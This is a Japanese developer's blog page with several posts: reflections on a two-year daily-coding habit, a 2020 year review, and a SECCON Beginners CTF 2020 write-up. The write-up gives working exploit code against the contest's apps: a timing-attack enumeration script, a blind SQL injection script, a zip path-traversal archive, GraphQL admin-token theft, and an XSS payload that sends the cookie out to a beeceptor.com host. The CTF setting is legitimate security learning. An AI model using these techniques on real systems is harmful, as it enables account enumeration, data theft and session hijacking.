WriteCodeEverydayを2年間やり続けました

2年間分のGitHubへのContribution Graph
2年間分のGitHubへのContribution Graph

WriteCodeEveryday を初めて今日で 2 年 (2019/06/10 ~ 2021/06/09) が経ちました。 本記事は、活動を通して得られたことと、今後することについて書き残しておこうと思います。

WriteCodeEveryday の経過については以下の記事を参照してください。

progfay.hatenablog.com zenn.dev progfay.hatenablog.com

得られたもの

WriteCodeEveryday の目標は「コードを書く習慣を付ける」ことでした。 2 年間で日々のルーティンの中にコードを書く時間が組み込まれ、技術に向き合う時間が増えました。

また毎日技術に向き合うことで、勉強し始めるときに掛かるエネルギーが小さくなったように感じます。

WriteCodeEveryday はここで一旦終わり

活動を通して得られたものがある一方で、問題点にも気づきました。 WriteCodeEveryday は GitHub 上での Contribution を指標としていたことから、本来の目的から外れて草を生やすための活動と化していました。 GitHub の Contribution には残らない活動に注力すると、WriteCodeEveryday自体が足枷になってきました。

そのため、 2 年間続けた WriteCodeEveryday を辞め、以降は Contribution を指標としない活動を続けていきます!

小話: なぜ 2 年間で辞めるのか?

正直、 1 年半ほどで上記の考えには至っていましたが、僕の「こんなに続けたのにもったいない!」という性格が邪魔して辞められずにここまで伸びてしまいました。

ちょうど 2 年で辞めるためにも、 2021/06/10 は意識的に Contribution をしない日にします。

長期的に続ける系は疑念を抱いた時にはすっぱり辞める勇気は重要です。 もし勇気のない人は、自分の性格を理解した上で区切りが良さそうなタイミングで振り返ってみると良さそうです。

今後の活動について

WriteCodeEveryday を辞めるからといってコードを書かなくなるわけではありません。 以降は OSS への Contribution や、ソースコードや仕様を読み込むことにより一層の時間を割いていきます。

また、業務経験を積み重ねるためにも副業にも挑戦してみようかなと考えています。 今後とも精進して参りますので、何卒宜しくお願い致します。

2020年を振り返る

毎年、1年間を振り返っての内省と翌年への抱負をまとめていましたが、今年からはブログ記事として公開して自分のスタンスを表明していこうと思います。

大学生から社会人に

3月までは卒論や卒業旅行で大学生を満喫していたということしか覚えていないですが、キツかった卒論執筆も今振り返ると論理的に話を組み立てて説明するためのとても良い経験でした。 社会人になって、大学生という立場の優位性・利便性をもっと活用しておけばよかったと少し後悔もしています。

今年の4月から新卒として働き始め、生活サイクルや環境が大きく変化しました。 入社直後からフルリモートでしたが、違和感なく環境を受け入れることができました。 専門性を持ったエンジニアの方々と一緒に仕事をすることで、自身のエンジニアとしての姿勢について考える機会をいただきました。

WriteCodeEveryday

571日連続でのContribution

f:id:progfay:20201231103025p:plain
2020年は合計2900 Contribution
2019年6月から継続しているWriteCodeEverydayですが、社会人になって向き合い方に変化がありました。

progfay.hatenablog.com

退社してから日付が変わるまでの間にコードを書くため、1日に取れる時間が30分 ~ 2時間ほどと短くなりました。 大学生の時のように長く時間を取ってコードを書くことが減り、タスクを小さく分割して少しずつ進めていくということを強く意識するようになりました。 その結果として、小さく試すためのプロトタイピングや段階を踏んだ実装を実践していました。

今後の課題として、コードを読む週間をつけることとOSSへの貢献が挙げられます。 2021年では、特に「コードを読む」ことを日常の中に多く取り入れていきたいと思います。 そのためにも、GitHubのActivityやTrendingを活用していきます。 上手い活用方法がわかっていないのでこれから調査しますが、おすすめのやり方がある方は教えてくださると幸いです。

情報収集

昨年の年末に読む記事を読み溜めるためのサービスをPocketからはなブに切り替えました。 読んだ記事は積極的にブックマークしていて、1700記事が登録されていました。

しかし「あとで読む」機能を乱用しており、平日には記事を登録するだけで土日で溜まった記事をまとめて消化するという習慣になっていました。 これにより、情報の鮮度が落ちてしまったり自分にとって大事な情報だけを取捨選択することができなくなったりとネガティブな影響が出てきています。 2021年では、読み溜めないことを意識して気になった記事はその場ですぐに読んでいく習慣をつけていきます。

また、英語の記事が10回に1回くらい理解できるようになってきて小さな成長を感じました。 英語への苦手意識が強く、これがOSSへのcontributeに踏み切れない要因ともなっているので英語の勉強をやり直そうかなと考えています。

朝活

今年の11月5日から友人に勧めてもらった「決まった時間に起きてゲームを1プレイする」という活動を続けています。 私の場合は、朝7時に起きて麻雀で三麻東風を1局打つというルールで、多少のサボりがありながらも今日まで緩く継続しています。

対戦数 52、一位率 40.38%、和了率 36.65%
朝活をきっかけに始め雀魂の成績

冬は寒いので布団の吸引力に負けて二度寝することも多いですが、徐々に朝の時間を有効活用できるようになりました。 また、朝起きる時間が固定されることで寝る時間も深夜1時に固定するようになり、WriteCodeEverydayと合わせて1日のスケジュールが整ってきているため、とても価値のある活動になっていると感じています。

2021年は、この活動を継続させながらも布団の誘惑に負けない強い精神力を獲得していきます。

2021年の抱負

以上の振り返りから得られた来年の抱負を以下にまとめました。

  • コードを読む機会を増やす
  • 気になる記事は極力その場で読む
  • 英語を勉強し直す
  • 生活週間を整え、朝の時間を有効活用する

2020年は見聞を広める活動が多かったので、2021年では興味領域を深堀っていきたいです!

WriteCodeEveryDayを始めて1年経った

Image from Gyazo

WriteCodeEveryDay (もとい GitHub での草生やし) を続けて1年が経った。 これを機に1年を振り返り、今後の方針をブログに書き残していく。

WriteCodeEveryDay とは

John Resig が始めた「毎日意味のあるコードを書く」活動を指す。

John Resig - Write Code Every Day

始めたきっかけ

就活や卒論で忙しかったため、コードを書かない日々が続いていた。 自分の技術力の無さに焦りを感じていたため、強いエンジニアはどうやって勉強しているのかが気になっていた。

2019年の4月から5月の間に、リクルートテクノロジーズにてアルバイトをさせてもらっていたので、そこで「どうすれば技術力を付けられるか」という相談をしていた。 @orisano さんに相談をした際に、 WriteCodeEveryDay を勧めていただいたことがきっかけで、実際に行動に移すことを決意した。 しかし、この段階では「毎日コードを書く」という曖昧な定義のままだったため、 GitHub にて草を生やし続けることが目標となっていた。

初期

WriteCodeEveryDayを始めたのは6月の中旬からで、主に卒論や共同研究に関連するコードを書いていた。 論文を書くのが苦しかった僕にとって、毎日時間を確保してプログラミングを行うことは心の救いになった。

他にも趣味での開発を行っていて、 @progfay/scrapbox-parser などを作っていた。 趣味開発では、普段使っているライブラリの中身を知るためにフルスクラッチに拘っていた。 また、普段触っていなかった TypeScript や Jest に触れながら、一つのライブラリをじっくりと時間をかけて作り込んでいくことの楽しさを感じることができた。

中弛み

@progfay/scrapbox-parser の開発も落ち着いてモチベーションが薄れてくると、 GitHub で草を生やすことがメインになりつつあった。 コードを書く時間が確保できず、レポジトリを作るだけだったり Renovate による PR を merge するだけになってしまって生産性はなかったものの、 GitHub の草を絶やすのがもったいなくて惰性で続けていた。 これではいけないと思い、身の回りの不便を開発に落とし込むことでモチベーションを維持していた。 例えば、卒論の環境構築を行って同期の学生に共有したり、卒論のデータ分析やグラフ描画を良い感じにしてくれるコードを書いたりしていた。

研修

そうこうしている内に時は流れ、社会人になり研修が始まった。 そこで @t_wada さんに「 エンジニアとしてこの先生きのこるために 」という講義をして頂いた。 講義の中で WriteCodeEveryDay が登場し、ただ毎日コードを書くことが大切であるというわけではないことに気が付いた。

これを機に、そもそもなんのために毎日コードを書いているのかについて考え直すことにした。

再考

WriteCodeEveryDay を始めてからの日々を振り返ると、実質コードを書いていない日から 33 commit している日まであり、非常にムラがあることがわかった。 しかし、実際の業務の中で「今日は気分が乗らないので書きません」というのはかっこ悪いように思える。 なので、どんな日でも集中してコードを書けるようになる ために WriteCodeEveryDay を続けることにした。

また、 WriteCodeEveryDay のルール を決め、公開して取り組むようになった。 取り決めとしては、「毎日意味のあるコードを書く (リファクタリングは含む)」といった John Resig の WriteCodeEveryDay と比べると緩いものを設定した。 これはコードを書く習慣を身に着けることと、技術に対する知識や経験を深めることを目的として、可能な限り長い時間コードに触れるために緩くても続けられるルールにした。

その後

それからは GitHub への連続 commit 日数をカウントする CLI ツールや、普段触らない Go 言語に手を出して Tetris を作ったり、とにかく色々作ってみた。 研修後からは精力的にプログラミングに専念できている実感があり、これは意識が変わったこととルールを明文化したことが要員になっているかなと考えている。

感想

中弛みがあったりルールが決められていなかったりしたため、厳密には WriteCodeEveryDay が続いているわけではないのかもしれない。 しかし、1年間なんらかの Contribution を続けたことと、たくさんのコードを書いたことが自信に繋がった。 緩くても良いので、何事も継続していくことは大切だなと思った。

WriteCodeEveryDay は今後も続けていき、いつでも集中してコードが書けるようになったら、今度はパフォーマンスの向上に注力していきたい。 また、 OSS への貢献も視野に入れて活動していきたいと考えている。

質問・指摘等がございましたら、 @progfay までお願いします。

SECCON Beginners CTF 2020にぼっち参戦した

f:id:progfay:20200524160533p:plain

SECCON Beginners CTF には2018年から毎年出ているので、今年も参加することにしました。

いつもは複数人でチームを組んでいましたが、今年は自分自身の力量を測るためにぼっち参戦しました。

www.seccon.jp

このブログでは、僕が解けた問題の writeup と感想を書いていきます。

解法というよりは、どうやって考えたかをメインに残していきたいと思っています。

Misc

emoemoencode (Easy)

絵文字の羅列が渡されます。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

これがフラグだとすると文字コード周りが怪しいと思ったので、そこを調べてみることにしました。

フラグの形式から、先頭の5文字は ctf4b なので、そこを対象に調べてみます。

Emoji Unicode Flag hex(ord(Flag))
🍣 U+1F363 c 0x63
🍴 U+1F374 t 0x74
🍦 U+1F366 f 0x66
🌴 U+1F334 4 0x34
🍢 U+1F362 b 0x62

表を見る限り、 Unicodehex(ord(Flag)) の下2桁が揃っていることがわかります。

Unicode - hex(ord(Flag)) の値が定数なことを利用して、 Python で復号を行いました。

encrypted = '🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽'
diff = ord('🍣') - ord('c')
print(''.join([chr(ord(c) - diff) for c in encrypted]))

Flag: ctf4b{stegan0graphy_by_em000000ji}

Crypto

R&B (Beginner)

暗号文と、それを生成した Python のコードが渡されます。

for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

FORMAT"R""B" の連続で構成されているようです。

復号するためには、暗号文の1文字目を見て、 "R" ならば ROT13 、 "B" ならば Base64 decode を行う。

これをエラーが発生するまで繰り返すことで Flag が取り出せると考えられます。

import codecs
import base64

crypt = open('encoded_flag', 'r').read()

while True:
  try:
    if crypt.startswith('R'):
      crypt = codecs.decode(crypt[1:],'rot13')
    elif crypt.startswith('B'):
      crypt = base64.b64decode(crypt[1:]).decode('utf-8')
    else:
      break
  except:
    break

print(crypt)

Flag: ctf4b{rot_base_rot_base_rot_base_base}

Web

Spy (Beginner)

Website の URL と従業員の一覧、それと PHPソースコードが渡されます。

問題は、Website に登録している従業員の一覧を作成することでした。

/ にアクセスすると、以下の処理が走ります。

@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.

とあるように auth.calc_password_hash はパフォーマンスに問題がありそうなことがわかります。

  • 従業員名が登録されていれば、 auth.calc_password_hash による判定が行われる
  • 従業員名が登録されていなければ、即座にHTMLが返される

このことから、タイミング攻撃が有効であることが考えられます。

タイミング攻撃(タイミングこうげき、英:timing attack)とは、アルゴリズムの動作特性を利用したサイドチャネル攻撃のひとつ。暗号処理のタイミングが暗号鍵の論理値により変化することに着目し、暗号化や復号に要する時間を解析することで暗号鍵を推定する手法。

(タイミング攻撃 - Wikipedia より)

最初は全従業員の名前を入力して、表示されるまでの時間を見ていこうと思いましたが、退屈なことだったので Node.js に任せることにしました。

あと、よく見ると time.perf_counter()-t が HTML 内に埋め込まれていそうなことがわかったので、それを引っ張ってくれば良さそうです。

const fs = require('fs').promises
const fetch = require('node-fetch')
const getPref = employee => (
  new Promise((resolve, reject) => {
    // Google Chrome で POST リクエストを "Copy as fetch" して、↓に貼り付けた
    fetch(`${appUrl}`, { body: `name=${employee}&password=1234567890`, method: 'POST' })
      .then(response => response.text())
      .then(text => text.match(/It took (\d+\.\d+) sec to load this page\./))
      .then(match => match ? resolve({ employee, sec: parseFloat(match[1]) }) : reject(new Error('no match...')))
  })
)

const main = async () => {
  const buffer = await fs.readFile('employees.txt')
  const employees = buffer.toString().trim().split('\n')
  employees.push('DUMMY')

  const prefs = await Promise.all(
    employees.map(getPref)
  )
  prefs.sort((a, b) => a.sec - b.sec)
  for (const pref of prefs) {
    console.log(`${pref.employee.padEnd(10, ' ')}: ${pref.sec.toString().padEnd(10, '0')} sec`)
  }
}

main()

登録していた場合とそうでない場合を比較するために、目安として確実に登録されていないであろう DUMMY さんの場合でも計測を行いました。

出力結果は以下の通りです。

Ulysses   : 0.00023110 sec
Jane      : 0.00024520 sec
DUMMY     : 0.00024540 sec
Franklin  : 0.00026810 sec
Zalmon    : 0.00026900 sec
Harris    : 0.00027060 sec
Christine : 0.00028480 sec
Vincent   : 0.00029260 sec
Paul      : 0.00029600 sec
Ivan      : 0.00030300 sec
Wat       : 0.00031150 sec
Scott     : 0.00031210 sec
Oliver    : 0.00031620 sec
David     : 0.00032420 sec
Barbara   : 0.00034260 sec
Arthur    : 0.00034850 sec
Quentin   : 0.00035200 sec
Kevin     : 0.00036530 sec
Randolph  : 0.00138230 sec
Nathan    : 0.00249710 sec
Elbert    : 0.30437260 sec
Lazarus   : 0.33402260 sec
Marc      : 0.43891300 sec
Ximena    : 0.44960900 sec
George    : 0.47230740 sec
Tony      : 0.57104920 sec
Yvonne    : 0.67063540 sec

昇順にソートしてありますが、 NathanElbert で明確に時間に差がありました。

Elbert から下の従業員を登録済みユーザーとして報告するとフラグが獲得できました。

Flag: ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Tweetstore (Easy)

200件のTweetから検索と件数の上限を設定できる Website と、そのソースコードが渡されます。

dbuser := os.Getenv("FLAG")

Flag は dbuser に入っているので、それを取り出すのが目標のようです。

今回は DB が PostgreSQL だったので、 current_user に入っている値を取り出すのが目標のようです。

var sql = "select url, text, tweeted_at from tweets"

search, ok := r.URL.Query()["search"]
if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

sql += " order by tweeted_at desc"

limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
}

search' が全置換され、 limit は最初の ; 以下が削除されるようです。

search 側の SQL Injection を色々と試していましたが、難しそうだったので limit 側に Injection できないかを調査しました。

limit=(SELECT count(*) FROM current_user) で、件数が1件だったので、 current_user に対する Blind SQL Injection が有効だと考えました。

limit=(SELECT count(*) FROM current_user WHERE current_user LIKE 'ctf4b%') のように、先頭から順に件数が1件になるような文字を探索して、徐々に文字数を増やしていきました。

手作業では面倒すぎたので、 Node.js に任せることにしました。

const fetch = require('node-fetch')

let head = 'ctf4b'
const charset = 'abcdefghijklmnopqrstuvwxyz!@#$^&*(){}+-=/?.>,<[]\\|_'.split('')

const check = head => (
  new Promise((resolve, reject) => {
    fetch(`${appUrl}?limit=(SELECT%20count(*)%20FROM%20current_user%20WHERE%20current_user%20LIKE%20%27${encodeURIComponent(head)}%25%27)`)
      .then(response => response.text())
      .then(text => text.match(/(\d+) of 200 tweets are displayed\. enjoy!/))
      .then(match => match ? resolve({ head, match: match[1] !== '0' }) : reject(new Error('no match...')))
  })
)

const main = async () => {
  while (true) {
    const checkList = await Promise.all(charset.map(char => check(head + char)))
    const found = checkList.find(({ match }) => match)
    if (!found) break
    head = found.head
    console.log(head)
  }
  console.log(head)
}

main()

出力結果は以下です。

ctf4b{
ctf4b{i
ctf4b{is
ctf4b{is_
ctf4b{is_p
ctf4b{is_po
ctf4b{is_pos
ctf4b{is_post
ctf4b{is_postg
ctf4b{is_postgr
ctf4b{is_postgre
ctf4b{is_postgres
ctf4b{is_postgres_
ctf4b{is_postgres_y
ctf4b{is_postgres_yo
ctf4b{is_postgres_you
ctf4b{is_postgres_your
ctf4b{is_postgres_your_
ctf4b{is_postgres_your_f
ctf4b{is_postgres_your_fr
ctf4b{is_postgres_your_fri
ctf4b{is_postgres_your_frie
ctf4b{is_postgres_your_frien
ctf4b{is_postgres_your_friend
ctf4b{is_postgres_your_friend?
ctf4b{is_postgres_your_friend?}
ctf4b{is_postgres_your_friend?}

Flag: ctf4b{is_postgres_your_friend?}

unzip (Easy)

.zip を解凍して保存してくれる Website と、そのソースコードが渡されます。

ZipArchiveを使って、入力された .zip を解凍し、ユーザーごとのフォルダに保存した上で $_SESSION["files"] にその情報を保存しています。

また、 /?filename={filename} にアクセスすることで解凍したファイルを見ることもできます。

$user_dir = "/uploads/" . session_id();

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

Flag の記述されたファイルは /flag.txt にあることが docker-compose.yml に記述されていたので、これの中身を取り出すのが目標になります。

$user_dir の値は /uploads/********** という具合なので、 /flag.txt/uploads/**********/../../flag.txt とも解釈できます。

ここで、 ../../flag.txt というファイル名を圧縮した .zip が作れればいいと考えたのですが、そのやり方が分からず悩んでしまいました。

諦めて眠りに着いたら、夢の中で "unzip path traversal" で調べると良い情報に辿り着けるんじゃない?」というお告げを頂いたので、起床後に調べてみると類似した脆弱性の報告を見つけることができました。

github.com

どうやら、 .. を使用して .zip を生成することで実現ができるようです。

.
├── flag.txt
└── dir
    └── here ← ここで `../../flag.txt` を指定して `.zip` を生成
touch flag.txt
mkdir -p dir/here
cd dir/here
zip flag.zip ../../flag.txt

生成した flag.zipWebsite 上で提出し、 /?filename=../../flag.txt にアクセスすると Flag がゲットできました。

Flag: ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

余談として、 Symbolic link を使ってうまいことできないかな〜とも試してみましたが、うまくいきませんでした。

Symbolic link を使った解法をご存知の方は、教えていただけるとめちゃくちゃ喜びます!

profiler (Medium)

自分の profile を登録できる Website が渡されます。

ヒントとして、 "You don't need to deobfuscate *.js" と書かれていたので、 Chrome DevTools で Network タブを監視していると GET: /api というリクエストを見つけました。

query {
    me {
        uid
        name
        profile
    }
}
mutation {
    updateProfile(profile: "hoge", token: "****************************************************************")
}

Request Payload には上記のような query が指定されていました。

見覚えがあるな〜と思い "query mutation" で検索すると、 GraphQL が出てきました。

GraphQL のドキュメント読みながら、色々と弄っていましたが、 Schema が欲しかったのでツールを使って調査しました。

github.com

$ npx get-graphql-schema 'https://profiler.quals.beginners.seccon.jp/api'

type Mutation {
  updateProfile(profile: String!, token: String!): Boolean!
  updateToken(token: String!): Boolean!
}
type Query {
  me: User!
  someone(uid: ID!): User
  flag: String!
}
type User {
  uid: ID!
  name: String!
  profile: String!
  token: String!
}

この Schema を元に色々とリクエストを送っていると、3点がわかりました。

  1. someone(uid)session がなくても誰の情報でも取り出せる
  2. updateProfile(profile, token)updateToken(token)session に対応するユーザーの情報が更新される
  3. 一般ユーザーの sessionflag を取り出そうとすると、 "Sorry, your token is not administrator's one. This page is only for administrator(uid: admin)." と言われる

3の情報から、ユーザーの token 情報を見ていることがわかります。

なので、自身の token に admin の token と同様の文字列を設定すれば Flag を取得できそうです。

まず、admin の token を取得します。

curl "${APP_URL}" \
  --data-binary '{"query":"query { someone(uid: \"admin\") { token } }"}' \
  --compressed

{"data":{"someone":{"token":"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b"}}}

これによって得られた admin の tokenupdateToken を使って自身の token に設定します。

curl "${APP_URL}" \
  -H "Cookie: session=${APP_SESSION}" \
  --data-binary '{"query":"query { someone(uid: \"admin\") { token } }"}' \
  --compressed

{"data":{"updateToken":true}}

上手く変更できたようなので flag を取得しにいきます。

curl "${APP_URL}" \
  -H "Cookie: session=${APP_SESSION}" \
  --data-binary '{"query":"query { flag }"}' \
  --compressed

{"data":{"flag":"ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}"}}

Somen (Hard)

XSS できそうな Websiteソースコードが渡されます。

Website は以下のようなアプリケーションになっていました。

  • GET: /?username={username} : username を埋め込んだ Website を表示します
  • POST: /inquiry : Server から Puppeteer を使って GET: /?username={username} にアクセスします
<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

<body>
    <h1>Best somen for You</h1>

    <p>Please input your name. You can use only alphabets and digits.</p>
    <p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p>
    <p id="message"></p>
    <form action="/" method="GET">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>
    <hr>

    <p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p>
    <form action="/inquiry" method="POST">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>

</body>

/ に アクセスすると /security.js が実行されてしまい、 username特殊文字が含まれていると /error.php にリダイレクトされてしまいます。

また、 Flag は Puppeteer の Cookie にセットされています。

この Flag を取得するための課題は以下の通りです。

  1. /security.js を正常に動作させないようにする
  2. CSP により JavaScript が自由に実行できない
  3. Cookie をなんらかの方法を使って抜き出す

これらを順に対処していくことにします。

1. /security.js を正常に動作させないようにする

まずは、埋め込む場所より後ろの DOM を見てみましょう。

</title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>

</script> より前の部分を無効化できればなんとかなりそうです。

先に <script> タグを開いてしまうことで、なんとか回避できそうです。

</title> が邪魔ですが、これは <title> を先に閉じておき、後ろの </title> を単なる文字列と認識させることで対応しました。

</title><script x="/security.js が実行されなくなりました!

f:id:progfay:20200524151428p:plain

2. CSP により JavaScript が自由に実行できない

Header には CSP として script-src 'nonce-${nonce}' 'strict-dynamic' が設定されていました。

これを掻い潜る方法はないかと思い、 "XSS nonce strict-dynamic" で検索をしていると、 id:Szarny さんの Writeup を見つけました。

これを読むと、 nonce を持つ <script> から生成された JavaScript は CSP に引っかからないようです!

Writeup に習って、 id="message" を持つ <script> を本来の挿入先より前に設定してあげることで任意の JavaScript を実行してあげます。

Injection する DOM を JavaScript として解釈されないように、 JavaScript のコードを先頭に置き、 //コメントアウトします。

alert('XSS')//</title><script id="message"></script><script x="alert('XSS') が実行されました!

3. Cookie をなんらかの方法を使って抜き出す

${任意のURL}?cookie=${document.cookie} にリダイレクトさせることで、 Cookie を抜き出します。

このような場面では、僕はよく Beeceptor を使用します。

beeceptor.com

location.href='https://progfay.free.beeceptor.com/cookie?'+document.cookie//</title><script id="message"></script><script hoge=" で Beeceptor に Server 側からのリクエストがありました!

f:id:progfay:20200524154242p:plain

Flag: ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}

感想

Web 問が全完できたことで、自分自身の成長を感じました。

一人でやると相談相手がいなかったり、 Binary や Reversing が全く解けないことが大変でした。

頼れる相手がいるというのはとても大切だなぁと思ったので、次回はチーム参戦しようと思います!

はてなブログ始めました

@progfay です。

今後は、はてなブログも使って記事を公開していこうと思います。

他にも以下のサービスを使っていくので、そちらもよろしくお願いします。